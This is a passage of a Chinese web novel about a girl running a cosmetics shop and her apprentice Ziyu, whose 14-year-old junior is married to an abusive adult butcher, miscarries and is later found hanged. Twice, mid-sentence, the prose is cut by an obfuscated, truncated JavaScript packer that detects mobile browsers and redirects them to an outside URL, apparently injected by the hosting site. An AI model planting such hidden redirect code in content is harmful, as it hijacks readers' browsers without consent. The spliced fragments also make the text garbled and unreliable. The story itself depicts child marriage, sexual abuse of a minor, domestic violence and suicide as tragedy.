“好在那天夜里下了场雨，那个老太婆没有发现我去过的痕迹，我亲眼看见她把小王八灰白破碎的头骨带走了，她去做了什么不知道，回来时就只拿了一个鼓鼓溜溜的小布袋。我好奇，跟着去瞧，就见着她把布袋里灰白的粉兑水沏开一点点喂给了她的宝贝孙子，还说这样能让他长命百岁……呵，长命百岁？那小东西第二天就因为吃坏了东西发热症成了傻子，可是不够——我要他一命抵一命，我要让他把欠小王八的都还回来，我要他把欠我的通通还回来！” 说到这儿，王二丫忽地又将眼珠转动到白栖枝的方向。 白栖枝只见她蓦地收起泪点，“扑通”跪在她面前近乎疯魔道：“小姐求您收了我吧，我不想回去了，我想赚钱，我想给小王八立一块碑，可我太穷了，我没有钱……只要您收了我，让我做什么我都甘愿！” 王二丫伏在地上，颤抖着，久久不肯起来。 白栖枝总觉得这人身上有着她的影子。 王二丫像她，却又不像她——她的身上有种让她说不清道不明的缘分。 “你先起来。”白栖枝心中五味杂陈。 她又有长叹口气，答道：“好在如今户籍制度虽严苛，但也相对灵活。大招律法有云：凡因故未及登籍，或流徙而欲附籍者，经岁满一年，可向有司申请，核实后补录户籍。若因事需更籍，经有司勘验，证其情实，许其更籍[1]。” 说到这儿，白栖枝起身，朝抬头看她的王二丫缓缓露出一个疲惫的笑容，伸出手朝她，坚定温声道： “我陪你去官府补录户籍。” …… [1]律法考据：《宋会要辑稿》**中提到：“凡流民，经岁满一年，许就地附籍。”《宋史·食货志》**中提到：“流民滞留一地，经有司勘验，证其情实，许其附籍。”（但因为是架空古代所以也没所谓） 72. 小产 小师妹流产了。 紫玉是在溪边帮师父浣洗衣物才知道的。 一开始那两个大姐只是说老刘家的孩子没了，听说是小媳妇儿做饭时磕碰没的。 紫玉是个好信儿的，当即就凑上前去凑热闹。 那俩大姐虽然跟她不熟，但是本着八卦越多人说越热闹，其中一位大姐直接用手一指，侃侃道：“不就老刘家内谁嘛，就他家，他家小媳妇儿昨天做饭的时候不知道怎么就摔了一跤，当即下头就见红了，听说那小媳妇儿才十四岁呢，这么一摔，估计以后都不能生孩子了。哎呀，那可真是……” 小媳妇儿，十四？ 紫玉越听越觉得不对劲儿，眼瞅着大姐还在唾液横飞地牵扯着什么老天啊、命啊的时候，她鬼使神差地问了一句：“那小媳妇原来是谁家的人？” 大姐脱口而出道：“不就是那谁家，那谁……嘿，她叫什么名字来的？她平时也不怎么出屋也不怎么跟我们说话，你这么一问我还懵住了，就做胭脂的那老婆子她家的，听说还是她的什么关门弟子呢，谁知道怎么落得这么惨哦。” 后头的话紫玉已经听不清了。 耳边炸开一声长久的嗡鸣，紫玉只觉得脑子里轰然一响，一抹阴寒的凉意顺着她的脊骨一点点往上爬，冻得她狠狠打了一个冷战，全身上下都冒出了一粒一粒鸡皮疙瘩。 此时此刻，世上所有的鬼故事似乎都没有这简单的几句话来得可怕。 十四岁，怀孕，流产…… 紫玉听过那男的是怎么骂她小师妹的，声音之粗暴，宛若一根沾满了凉水的鞭子一鞭鞭抽在人的脊梁骨上。 痛。 但不见伤。 她登时就往小师妹家跑去。 后头大姐高升喊道：“喂！妹子，你衣裳不要啦？！” 紫玉这才又折回来，端着浣洗衣物的木桶，撒腿朝小师妹家狂奔。 依照小师妹家那情况，她怕自己只要跑慢一丁点儿就会从此与小师妹天人两隔。 等紫玉跑到地方的时候，看见的就是散落了一地的包袱，倒在地上面色惨白嘤嘤哭泣的小师妹，和院门口紧闭的大门。 “师姐……师姐！！！” 小师妹原本只是咬紧下唇垂眸落泪，可在看到紫玉的一刹那，她像看到人生中最后一丝救命稻草一般，登时大哭出了声。 她似乎想起身，可她刚流产不久，下头裙摆处还鲜红一片，无论她怎么努力，她的身上一直仿佛压了一座看不见的大山一样，叫她倒在地上匍匐不起。 昔日最可爱的小师妹就这样像丧家犬被夫家撵了出来，紫玉甚至都做好跟院里人拼命的准备。 可当她看见师妹倒在地上像个无家可归的小孩儿一样哭喊着她的名字的时候，她忽然觉得，就算自己进去同那些畜生拼命，也没办法化解小师妹的痛苦。 小师妹瘦小的身躯下还在流着血，那些自她体内流出的血浓稠地在股间聚成一滩又一滩。 ——不能再耽搁了，再这样下去她会没命的！ 紫玉当即放下木桶，走到小师妹面前，将她一把捞起，转身蹲在她面前： “上来，师姐陪你找郎中。” 沉重有力的话语砸在地上，恨不能从人间一直砸到幽冥酆都。 身后人看着她这山一样的后背，怯声喃喃道：“师姐……我脏……” 紫玉毫不在乎道：“脏什么？谁家女孩子还不流点血了？你第一次来月事，床褥都是我帮你洗的，还有力气没有？上来，师姐带你回家。” “回……家？” “嗯，回家。” 回家，回家，终归是要回家。 感到背上一沉，紫玉将人稳稳背到背上，只留下一句：“坐稳了。” 随即又背着她去捡地上的包袱与木桶。 师妹身下还在流着血，那些血也许是她的也许是她那未出世的孩子的，她们的血就这样一点点从师妹的腿间流出，洇了紫玉一后背，又顺着她的衣角一滴滴砸在地上。 在这座乡村，没成亲的大姑娘家是不能见血的，说是不吉利。 可紫玉不管那个，她和师姐师妹们自从来癸水时便已经见过血了，不仅见过，还会在每个月来月事的时候冷静地、一点点地洗去那些从自己身上涌出来的血。 她们见过的血，恐怕比村里一些男人一辈子见过的血还要多。 饶是如此，路上一些大娘大妈们见到她们这幅样子，也还是一脸惊骇地转过身，随即交头接耳地窃窃私语一些不好听，甚至是十分难听的话题。 可紫玉不在乎这个，她就这样一路背着小师妹来到郎中家。 郎中说幸亏她来得早，不然再多耽误一会儿小师妹就要失血过多而亡了、 郎中让紫玉出去等候。 良久，紫玉才看到郎中拿了一包血肉模糊的肉块出来。 ——那是师妹腹中尚未出生的孩子。 “那姑娘性命无虞，只是此番小产，大伤元气，气血两虚，加之心结郁结，身体已然落下病根，往后需得格外小心。回家之后，务必要静心调养，切不可再做重活，否则恐会伤及根本，后患无穷。” 那郎中说完，将那堆肉块一点点包起来，随后递向紫玉。 紫玉猛地向后一退，满眼都是惊骇。 她面色惨白地问郎中：“郎中，这个……孩子？我该怎么处理？” 郎中冷冷道：“埋了，或者树葬，都随你。” 紫玉又看向那堆还在滴着血的小东西。 她总觉得那孩子还在动，那堆四分五裂的小尸体在动！她不敢去碰那堆鲜血淋漓的肉块。 一阵风穿堂而过，刺鼻的血腥味儿混着土腥味儿猛地扑面而来。 “呕——呕——” 紫玉掐着喉咙弯腰干呕着。 眼眶里分泌着大滴大滴的泪水，她想就着这股劲儿吐个昏天黑地，最好是把这辈子吃过的饭全部吐出来，可是没有，她只是干呕，除了胃里的酸水外，她什么都吐不出来。 眼前，那小东西的血还在滴着，跟随她的酸水一起，一滴滴落在地上。 紫玉甚至觉得自己吐出来的就是那小家伙的血！！！ 她死死捂住嘴，闭上眼不敢去看。 ——紫玉，跨过这一槛，以后无论遇见什么你都不会害怕了！ 她对自己这样安慰着。 许久，紫玉才用袖子擦擦嘴角，支起身子，朝郎中缓缓伸出手，沉重道 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她一拍额头，无力地叹了口气，缓缓道：“罢了，就先让她在坊内同莫伯一样做些杂活儿，待紫玉回来看看能不能收她为徒后再做打算吧。掌柜的。” “哎！” “你先在坊里给她安置个地方睡觉吧，这孩子现在无家可归，我又住在林府里，实在是没有地方可以容她。” “那不成！”李素染立即提高了一个声调儿。 她赶紧拉着白栖枝的胳膊，将她拉到一旁，又恢复了往常的精明与识故，俯下身来，低声劝道：“东家，且不说这孩子来历不明，万一她不怀好意，又或者手脚不干净，到时候偷了咱香玉坊的东西送到外头去，那遭殃的就是咱香玉坊了。现如今正是坊里的紧要关头，如果您非要让她住在这里，我李素染第一个不同意！” “那该怎么办呀？”白栖枝也很是头疼。 都说心软是经商大忌，如今她初次经商就犯了这个忌讳，想要收手的时候却发现已经太迟了。 如今这么大个人砸在她手里，她既不能留她在香玉坊，也不能再把她带回林家，更不能就让这么一个姑娘家回去睡大街，道德和利益两头都在牵制她，搞得她进一步不行，退一步也不行，实在是头疼得很。 “不如这样吧。”李素染道，“让那孩子先跟着我一段时间吧，我家里没人，左右紫玉过两天也就回来了，倒也不耽误事。更何况，我还可以趁着这两天试探一下她，看看她是不是别家派来的细作来抢咱香玉坊的生意，不然大晚上突然有这么个人死活要进咱香玉坊，我也不放心不是？” 白栖枝一想，倒是也有道理，但这也太过麻烦李素染了。 祸是她闯的，怎么也得她来负全责才是，哪里能甩包袱给别人呢？ “不过，也不能白住。” 白栖枝一怔。 只见李素染伸出手掌，在她面前摇了摇，随即露出精明市侩的笑容，笑眯眯地将手心摊到她面前，明码标价道： “一日五十文。” …… 73. 回家 紫玉是强忍着恶心将那堆血肉模糊的东西埋到林子里的，就在那颗百年大榕树下。 紫玉手里没有铲子，她是用手一点点将坑挖出来的。 好在昨天才下过雨，树下的泥土十分松软，倒也费不了多少力气，就是泥土里混着的砂砾忒硌手，时不时还会钻进她指甲缝儿里，翘得她指甲疼。 “孩子。”紫玉将土一抷抷地撒到那血淋淋的小包袱上，宛若失神的木偶般，一字一句僵硬道，“你紫玉姨姨没本事，没什么钱给你买坟地，你不要怪姨姨，也不要怪你阿娘，如果你想索命，就去索你亲爹、亲奶奶的命，如果不是他们非要你阿娘干活儿，你阿娘不会小产的，你也不会死。当然了——”她吸了吸泛红的鼻尖，又挖起一捧土，小心地又均匀地涂抹到坑内，诚心祈求道，“如果你在天有灵的话，就保佑你阿娘快快离开那两个烂人，从此跟他们一刀两断，再无往来，还有就是，保佑你阿娘能狠下心来跟紫玉姨姨一起去城里做工，过好日子，左右她是我师妹，在紫玉姨姨这儿就跟亲妹子一样，大不了等以后紫玉姨姨就养你娘一辈子。不过你娘日后如果能找个好人家嫁了的话，也不错，到时候你还来你娘的肚子里，叫你娘好好地把你生下来，这样你就不用过苦日子了。好了，紫玉姨姨就只能送你到这儿了，剩下的路就得孩子你自己走了，到了黄泉不要怕，阎王爷看你这么可怜这么小，肯定不会为难你的，姨姨就先回去照顾你阿娘了，有什么需要的就给姨姨和你阿娘托梦，别舍不得啊……”至此，已是哽咽难掩。 眼前的一切被泪水模糊得不能看。 紫玉抬起被泥土浸染得脏兮兮的手，用手腕沾了沾眼角的泪花，又看向面前被自己一捧土一土亲手埋起的小坟包，瘫倒在原地掩面哭了一会儿，良久，才像下定了什么决心一般，用衣袖干净处狠狠抹了把泪，扶着身侧的小树，勉强起身，又一步一个脚印地朝郎中家走去。 师妹是被紫玉背回去的。 她就乖乖趴在紫玉的肩头，不说话，不吭声，只是哭，倒是让紫玉想起来她小时候。 小时候，紫玉经常会扯着师妹出去玩，当时俩人玩得太开心，等到意识到时间的时候天已经黑了。 回去的路不好找。 师妹天生胆子小，又在找路的时候被树根狠狠绊了一跤，扭到脚踝，当时跌坐在地上哭得可惨。 紫玉最见不得她哭了，她二话不说，一把把师妹拉起来，让她勉强扶着树站着，随后蹲在她面前，朝她招招手。 ——“上来，师姐背你回家。” 那时候小师妹也像现在这样，乖乖趴到她背上后就不吱声了，只是啪嗒啪嗒地掉眼泪，一句埋怨的话都没有。 紫玉就这样背着她一点点摸索到家，当时天已经黑透了，她刚要敲门正撞见师父师姐们要出去找她俩。 当时，小师妹已经哭累睡了，师父罚不了她就只能罚紫玉，罚紫玉抄五遍的《女诫》，紫玉手都要抄废了。 好在师姐妹们半夜趁师父睡着偷偷摸过来，拿起笔墨帮她一起抄，不然仅凭她一个，不知道要抄到猴年马月去呢！ “嘿嘿，师姐师妹们对我这么好，我以后也一定要对师姐师妹们更更好，等以后大家遇到困难，我紫玉肯定不会见死不救的！” “什么死啊活啊的，你能把你自己管好不出去惹事就算帮了我们大忙了！” “就是就是，师姐说的对，这次是我们看你在外走了一天怕你累死才来帮忙的，等下一次看谁来帮你？你呀，就等着一个人抄到大天亮吧！哈哈哈哈……” 等到紫玉把师妹背回家的时候，师妹已经哭得睡着了。 师父开门时见到脏兮兮的两人时先是一愣，随后空身赶紧让两人进来。 待她看到紫玉背后那一大滩血迹后更是惊骇。 两人赶紧把小师妹抱上床，又紧着为她打水擦拭身子换衣服。 等到小师妹悠悠醒来时已经黑天了。 紫玉和师父就守在床边，两人折腾了好长时间，都困得不行，此刻倚在椅背上撑着脑袋困得直点头啄米。 “啊！” 紫玉一个没扶稳，脑袋错开手掌根掉下来，好在她醒的及时，这才没栽下凳子。 紫玉把着椅子背儿抬头，就看见小师妹在怯生生地看她。 不过是两三年没见，小师妹看她的眼神都变得生疏了。 好在紫玉是个心大的，没在乎师妹看她的神情，而是伸出手去摇师父：“师父，师父，小师妹醒了，你醒醒！醒醒！” “我没睡。”师父不耐烦地皱眉。 她缓缓睁开眼，一双凤眸虽有些浑浊，却并不显老，一双眸子还如同当年那般炯炯有神。 师父说：“既然醒了，就拿好行李回你夫家去吧。” “师父？！”紫玉一副“师父你是不是疯了”的神情，拧着眉头看向师父，一脸很急的样子。 师父朝她竖起手掌让她闭嘴。 随后，又转头，对小徒弟冷冷道：“我说过，自从你决定要嫁到刘家的那天起，你就再不是我的徒弟。方才，我看在我徒弟的面子上才允许你在此小睡，既然现在你醒了，也是时候该离开吧？” “师父……” “我说了，我不是你师父！” 雷殛般石破天惊的一声，吓得连一旁的紫玉都忍不住狠狠打了个寒噤。 在她的记忆里，师父何曾如此生气过，就连她当年因一不小心从树上摔下来砸死人家路过的鸡而被人追着赔钱的时候，师父都没这么大声对她说话。 难不成这里面还有什么她不了解的事？ 师妹眼泪登时就流下来了。 “师父。” 看着面前熟悉的脸孔，小师妹再也抑制不住心中的苦楚，双眼如同漏了底的水桶，泪水放纵地朝外淌，恨不得将自己所有的心酸都在这一刻都发泄出来。 她红着泪眼，哽咽了半天，半晌，才拼命地勉强从嗓子眼儿里挤出声音来，声音沙哑破碎得仿若被气管切开又往里塞满了棉花，听的人心疼不已。 她说： “师父……我想回家……我想……回家……” * “这里就是我家啦！” 看着面前破旧的小房子，李素染非常得意地同王二丫说道：“虽然看起来破了点，但都是我这些年做掌柜一点一点赚出来的，等你日后要真成立店里的伙计， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15069005|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着东家好好干，没准以后也能买一座小房子哩！” 说完，她一手叉腰，一手十分高兴地拍了拍王二丫肩头，又拍了拍她的肩胛骨，把她往屋内推，毫不见外地招呼道：“进去吧进去吧，我家里没有人，一会儿我给你打个地铺，这两天你就先在我这儿住着吧。” 王二丫还从没见过这么热情的人，一时间感到有些害怕，怯生生唤了一句：“李掌柜……” 李素染当即顿住脚步，回头：“嗯？什么事？” “那个……”王二丫一害怕又急切地问道，“可不可以……可不可以不收东家的钱？” 李素染：“你要白住啊？” “不是的不是的不是的！”王二丫急得又是摇头又是摆手。 她尴尬地扣了扣脸颊，垂下眼不敢去看李素染，嗫声道：“东家能收留我我已经很感激了，眼下我住在掌柜您家里，还要东家出钱，我良心不安——可以不可以这样？”她抬头看向李素染，急切又认真道，“这两天我可以去外头摊子找点刷碗端菜的小活儿来做，钱我先赊着，等工钱发下来，我一起连本带利地补给掌柜您。如果您实在信不过我，我可以打欠条的，真的！请您信我！” 李素染：“……” “噗，哈哈哈哈哈……”她突然笑出声来，还越笑越厉害，甚至弯下腰去，要不收手还扶着桌角，估计就要把自己笑倒在地上。 看着王二丫疑惑不解的神情，她勉强敛了敛笑意，起身拍了拍她的肩，对她实话实说道：“你这样，东家也会不安的。” 王二丫更不理解了。 李素染道：“你跟着东家一两天，不明白她，她啊年纪太小，眉眼间又是一股书卷气，一看就是那种从小圣贤书读多了，死板又极有责任心的那种人，倘若不收她钱，她就会觉得这事儿实在是麻烦我，就不好意思让我帮她了。所以我朝她要僦钱，并不是在同她斤斤计较，毕竟钱比人情好还，这样我帮她，她就不会不安，就不会一直耿耿于怀了，也省的我担心她总想还我什么人情，这样正好两全其美，谁也不用再提心吊胆了，多好。” “东家真是个好人……”王二丫喃喃道。 “东家当然是好人。”李素染说，“总之呢，你要真是心里过意不去，以后就好好赚钱，好把这几日的僦钱还给她，就不用提心吊胆了。” 见王二丫安心下来，李素染才转身去找柜子里的旧被子，朝着依旧木木然的王二丫道： “来，搭把手，帮我把被子拽出来，还好这玩意儿旧了之后我没舍得扔，一直放在柜子里留着，如今果然派上用场了，可见本掌柜还是很有先见之明的！” “哦对了，我这屋子有点潮，这被褥在里面放久了，也没怎么晒过肯定会有些味道，今天晚上你先忍忍，等明天咱俩走之前把它放院子里晾一晾，这么旧的东西应该没人会偷，等晾好了你晚上再盖就没有味道了。” “行，今天话就说这么多，我去打水，咱俩洗漱，洗漱完就睡吧，明天还要我早起去巷子里找人呢。啊——好累！希望东家赶紧把香玉坊立起来，到时候我这个做掌柜的就不用这么累了……” “铺好被，咱们洗洗睡！” …… 74. 丧妻 小师妹到底没有被赶出家门。 不是师父心软，是紫玉一直在求情，两人在屋子里挤在一起睡了一夜，跟小时候一样，睡着睡着就团团抱在一起。 早上醒来后，看着自己怀里的小师妹，紫玉用下巴亲昵地蹭了蹭发顶，开始帮师父生火做饭。 “师父。”紫玉还是很好奇，她小心翼翼地试探着问道，“您为什么不让小师妹回来啊，明明她都被她夫家弄小产了，您怎么还把她往夫家撵啊，她回去还能有活路么？” 师父说：各人有各命。 现如今她不去掺和他们的因果，日后他们的业障也追不到她身上。 她不想和他们有牵扯。 紫玉揣摩着师父神情，总觉得这里头有事儿。 两人煮了三碗面，小师妹刚流产完，不宜走动，紫玉就把面端进屋里跟她一起吃。 吃着吃着，小师妹就掉下泪来。 “我真是活该。”她说，“我明知道那老刘家就没什么好人，可还是把自己卖了，就为了那二十贯钱，师姐，我把自己给卖了……” 她哭得浑身抽搐，汤水从碗里泼洒出来，湿了她半身。 紫玉把碗从她手里抽出来，不住地问她是怎么回事。 一开始，小师妹只是哭，任凭紫玉怎么问她她也不回答，到最后气的紫玉威胁她说，如果她再这样，那自己也不要她了，就让她哪儿来的回哪儿去吧！ 小师妹这才害怕地将整件事情的来龙去脉交代了个清。 近年来，胭脂行业越发的不景气——不对，与其说是行业不景气，不如说是古法胭脂这条商路不景气。 现如今，市面上已经出现了制作胭脂的新法子，这法子很快，所用原料也很便宜，整套流程下来，制作的时间几乎就是古法胭脂的一半，除却在成色和质感上略有稍逊于古法胭脂之外，其余各处，都比古法胭脂强上太多，是以淮安商铺只要会这种法子的制粉师，至于她们古法胭脂的传承者大概是…… 已至末路。 师姐们找不到活儿可以做，又不想让师父一直这么养着，便纷纷自寻出路。 有的重新拜师去学新法子；有的改行换业去做别的行当；还有些实在是不知道该怎么办，索性就趁着大好年华，在村里找个门当户对的直接把自己嫁出去。 小师妹就是那第三批里的人。 她如今年龄尚小，出去也未必会有店家要她，再加上她过了年节就已满十四了，按大昭律法，十四正好是不成亲就要交六百钱的年纪。她不希望师父再白白地将钱浪费在她身上，所以干脆一跺脚、一咬牙、一狠心，索性就将自己嫁给了刘屠户。 刘屠户年纪也不小了，早过了不惑之年，年纪给小师妹当爹都绰绰有余。 他之所以一直没成亲，一是他做的是杀生之事，身上煞气重，村子里没有姑娘家愿意沾他；二就是他面容实在凶恶可怖，尤其是左眉毛上那一道长长的疤痕，一直划到眼皮上，听说是年轻时狠人拼刀子拼出来的伤痕。 这样的一个人，村里哪有姑娘肯嫁他？ 小师妹是自己送上门的。 也就是在年节前一个月，她跟师父撒了谎，说自己想要出去找活计去做，结果转头就敲开了刘屠户家的门。 她想：刘屠户家里不穷，有钱，至少在这个村子里是有钱的，他家还有猪，平时能吃肉，嫁给这样一个人，日后的日子也未必能苦到哪里去。 那天，刘屠户听完她的来意，二话不说就将她扛起来扔进了屋里。 两人干柴烈火地烧了一晚上。 那天，小师妹第一次见到自己落红。 她甚至还没来过癸水，就已经率先落红了，她很害怕，攥着被子掩盖着自己的身体直哭。 刘屠户还在穿衣服，听见她哭，登时将她的衣衫甩到她脸上，不耐烦道： “哭什么？哪个雏儿第一次不落红？” 师妹还在哭。 刘屠户不耐烦地提了提裤子，声音粗暴道，“行了别哭了！答应你的事我会做到，五日后，老子就拿着彩礼去你师父家娶你，这几天，你就老实在你师父家等着，别让老子抓着你和别的汉子出去鬼混，不然，老子就剁了你的手喂猪！听见了么！” 小师妹怯怯地点点头。 她穿好衣裳，挪着步子一点点地回到了家。 回到家，师父问她话她也听不到不敢应，一整天都是副失魂落魄的模样，跟受了什么刺激一样。 ——他不会骗我吧？他要是骗我，我该怎么办？我已经不是雏儿了，他不要我，我这辈子都嫁不出去了……他真的会来娶我吗？ 好在刘屠户果不失言，真真带着聘礼来提亲，但他却只带了二十贯。 在大昭境内，嫁女彩礼为三十贯钱，再嫁才是二十贯。 小师妹不懂这些，能有钱她就已经很知足了，以至于当师父将那二十贯钱摔在她脚下，问她当真要嫁时，她只是跪在地上，匍匐在师父脚面上，一字一句地说她愿意。 师父生了气，当即让她拿了钱滚，又说恩断义绝，让她从今往后不许再踏入院子这里一步，否则！ 否则什么呢？ 到底是自己的关门弟子，师父不好将重话说出口。 小师妹朝着她磕了三个响头，拿着那二十贯钱头也不回地就朝刘屠夫走去。 “舒儿！”师父凄切地唤着她的名字。 她想回头，她差一点就要回头了。 可是没有，她还是朝刘屠夫大步走去，直到离开，都没有回头看师父一眼。 “我原以为……原以为嫁进他们家里就能有好日子过。可是不是的，全都不是，他打我，喝醉时打我，气不顺时也会打我，甚至因为我晚饭做得慢了些想要打死我，就在怀上孩子的前一天，他差点就打死我了！”小师妹说着，将自己前胸的衣服扒开，稚嫩的身体上满是淤青与疤痕，看得紫玉当即倒吸一口冷气，撇过头去不忍观。 师妹就这样袒露着自己满是伤疤的前胸。 她继续说道：“后来，突然有一天，我感到恶心，一天吐了四五次，一开始他和他娘还以为是我在矫情，但很快，他娘就发现了不对劲，她发现我越来越喜欢吃酸的，就拽着我的手带我去村里的郎中家去看，郎中说，我怀了孩子，她可高兴了，回去又告诉了刘屠户，刘屠户也可高兴了，他们甚至还去庙里求了签，庙里头算命的说我这一胎一定是个男孩，他们开心坏了，回家跟我说，说我是他们老刘家的恩人，为他们老刘家留了种儿，从此以后绝对把我供起来当祖宗供着，一定不会让我再累到分毫——哈，把我当祖宗供着，我竟真的信了！” “一开始，他们确实对我很好，饭也不让我做，水也不让我打，每天就想着怎么给我补身子，可是这好日子没过两天就没有了，他娘说，我就算怀孕，到底也是个媳妇，媳妇就是要下地干活儿的，怎么能一天天总在床上躺着？忒不像话！让我赶紧下床干活儿。” “我倒也是贱，她让我干活儿我就干，哪成想她越发变本加厉，一开始只是让我做些喂猪喂鸡的轻活儿，到后来，刷碗、煮饭、擦屋子……无论家中有多少活儿她都让我干，我干不动，她就说我娇气，还叫刘屠户来打我。我知道外边人是怎么说我的，她们都说，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也就是这时候，紫玉明白了师父对她说的那句话—— “各人有各命” 既然她已经是老刘家的人了，那就把她还给老刘家吧，自己就不瞎掺和了。 紫玉从师妹身旁渐渐地抽离出自己的身体。 她没有去看师妹悲痛的眼神，只是垂下眼帘看着自己手中那碗热气腾腾的面。 多好的一碗面啊，热气腾腾的，一看就是给人吃的，绝不是！ 给鬼吃的…… 想着，紫玉起身，端起那碗面就朝师父的房间里走去。 “师姐！” 背后传来凄厉的哭喊，紫玉顿住脚步。 小师妹欣喜不已——她以为她会回头怜悯她。 可是没有，紫玉只是顿住脚步，同她绝情道：“师父已经把你撵出师门了，这里没有你师姐，吃完这碗面，你就快走吧，我们家里不住外人。” 紫玉抬脚就走地走掉，干脆决绝的身影就如同小师妹那天决绝地离开师父走向刘屠户那般，让人留都没法留。 “师姐……” 当晚，小师妹吞完那碗面就早早地回家了。 次日，村里吊死了个人，是刘屠户家的小媳妇， 说是吊死的，但其实究竟是怎么回事谁也不知道，只有有些被刘屠户正儿八经威胁过的人才知道—— 这刘屠户又成鳏夫。 是啊。 他又成鳏夫了。 …… 75. 师徒 紫玉打算从村子里直接招小姑娘们去做学徒。 对于师妹的死，她说不心疼是假的，可要真论起来，倒也没那么心疼，就是感觉…… 淡淡的。 跟师父一样，没什么太大的情绪，甚至当消息传到她们这儿来的时候，她们甚至都没有去看师妹最后一面，更进一步来说，她们甚至连小师妹埋在哪儿都不知道，更遑论去祭拜她。 天知道紫玉最开始是想把她带到香玉坊里去一起做工的，谁知道，事情竟会发展成这个样子！ 不过在遭完这一事后，她也渐渐琢磨出来一件事：有的人她长到现在为人品性都已经定性了，无论你跟她说什么，她都不会改，就算是想阻止她别往火坑里跳，她都会以为你是在害她，甚至还想拉着你一起往往火坑里跳。 紫玉不知道这事儿究竟该怪谁，或许是村子，或许是她们每个人。 总之，为了避免再发生这样的惨案，她决定要将更多小姑娘们带出这个村子，使她们不至于步了小师妹的后尘。 紫玉将这想法告诉师父，师父不置可否，甚至在两人用早饭时，师父也一直很沉默。 紫玉以为她生气了，一直在小心翼翼地观察着她的神情，甚至连大气都没敢喘一声，就这么定眼睛瞧着。 知道—— “你今日是要招学徒是吧？” 骤然听师父开口，紫玉吓得筷子都跌落到地上了。 她来不及去捡，甚至还没回过神，只怔怔地看向师父，只听师父又道：“论辈分，她们该是我的徒孙了。既然是徒孙，我这个祖师奶奶自然要亲自把关，吃完饭，我跟你一起去，省得你遇人不淑，给师门丢脸。” 所以师父是……同意了？ 紫玉高兴得几乎要蹦起来。 她冲上前去，想要像小时候一样狠狠在师父脸上亲一大口。 师父嫌弃地竖起手掌将她推开好远。 “不过你也不要太高兴。”师父冷声道，“村里人未必想让自家姑娘出去做工，想说服他们，你估计要耗费不少心血，还是好好想想自己该怎么做吧……” “是！师父！徒儿保证完成任务！” * 今天是紫玉离开的第四天了。 经过这四天，大家各显神通，总算是把人给找了个差不离，眼下就差紫玉把她那帮师姐妹们给带回来了。 见她迟迟不归，白栖枝很担心她，每天都要站在坊门口等一会儿人。 她想，如果紫玉明天还没有回来的话，她就要带着大家去那村子里要人了。 好在第五天晌午，紫玉终于解决完一切，背着小包袱就兴冲冲地跑回来了。 今天白栖枝照例在坊外站一小会儿，等待紫玉回来。 但是没有，她站了一炷香都没有看到紫玉的身影，便约摸着她今天还是回不来，转身就要往坊里走。 突然，街头那处传来一声唤。 那声音不大，白栖枝一开始还没反应过来，以为是自己幻听了，刚要转身进屋，就听见那声音又大喊道—— “枝枝！” 她循声而望，就见着远处有个小身影拼命地朝她招手，随即飞快地朝她跑来。 咚—— 一直悬在心里头的大石头终于闻声落地，白栖枝双眼放光，也张开双臂赶紧跑上前去，口中大叫道：“紫玉阿姊！” 多日不见的两人此刻猛地扑在一起，紫玉将白栖枝抱起来转了好几圈才恋恋不舍地放下。 白栖枝也是前前后后围着紫玉看了好几眼，确定她真的没事，才彻底松下一口气来。 吓死她了，真的吓死她了，她还以为…… 心里一直绷紧的弦骤然松开，白栖枝眼中含泪，抬眼儿瞅着紫玉一瞬不瞬地瞧，一张红润的小嘴紧抿成一条线，拼命不让自己落下泪来。 “哭什么。”紫玉捧着她的脸用拇指轻揩她眼下，随即侧过身去，将手朝身后一指，欢喜道：“枝枝，看，那是什么！” 白栖枝顺着她的指尖举目望去，就见着在紫玉身后，一位年纪尚大的姨姨正领着一堆年纪尚小的看起来像是从村里面出来的小姑娘们正浩浩荡荡地往她们这边走。 见白栖枝一脸惊讶又疑惑的模样，紫玉无奈地跟她交代了实情：“现如今我那些师姐师妹们要么去做了别的，要么去嫁了人，现如今师门里无人可用，我也就只好将村里的那些小女娃娃招过来当我的学徒，不过不用担心，我好好教她们几日她们大概就能上手了，虽不能像我这般熟练，但至少跟金凤姐和宝珠姐现在的情况差不对。哎，对了，我不在的这几日她们做的怎么样？不会把咱们香玉坊的招牌给砸了吧？” “不会的。”白栖枝摇摇头，“紫玉阿姊教的很好，她们如今虽不能像紫玉阿姊一样做的那么好，但做出来的东西勉强也能用，虽然有些客官们会抱怨一下最近咱们坊里胭脂做的略有些下降，但大部分客官们都没说什么，况且——”她咬了咬唇。 正当白栖枝思忖着要不要将店内招了另一批制粉师的事情说给紫玉听，师父已经领着她的那些小徒孙们走到坊门口了。 白栖枝不认识紫玉的师父，见她骤然站在自己面前，忍不住朝紫玉微微看去：“啊，紫玉阿姊，这位是？” 紫玉“嘿嘿”一笑，赶紧谄媚地趴到师父肩头，搂着师父的腰骄傲地为两人相互介绍道：“东家，这位就是我师父，人称香泽圣手的蔚元柳蔚大师！师父，这位就是香玉坊的新东家，林老板的远房表妹，叫白栖枝。” “白姑娘。” “蔚大师。” 两人相互浅浅一点头，也算是见过。 “啊！蔚大师！蔚姐姐！” 坊内突然传来一个惊喜的声音，蔚元柳本想和白栖枝继续攀谈，听到这话当即止住，抬头，就见着坊门内露出一张怯生生的小脸。 “二丫！”紫玉惊喜地大声叫道，“你怎么在这儿？哎？你这身衣服我没见过，谁给你买的？” 二丫也很开心，急忙提着裙摆跑到白栖枝身边，一脸开心道：“小姐给我买的。” “小姐？”紫玉纳闷地看向白栖枝，白栖枝这将这几天的事情简略地同她说了一些，紫玉这才明白过来，转头又看向二丫，“所以你想拜我为师？” 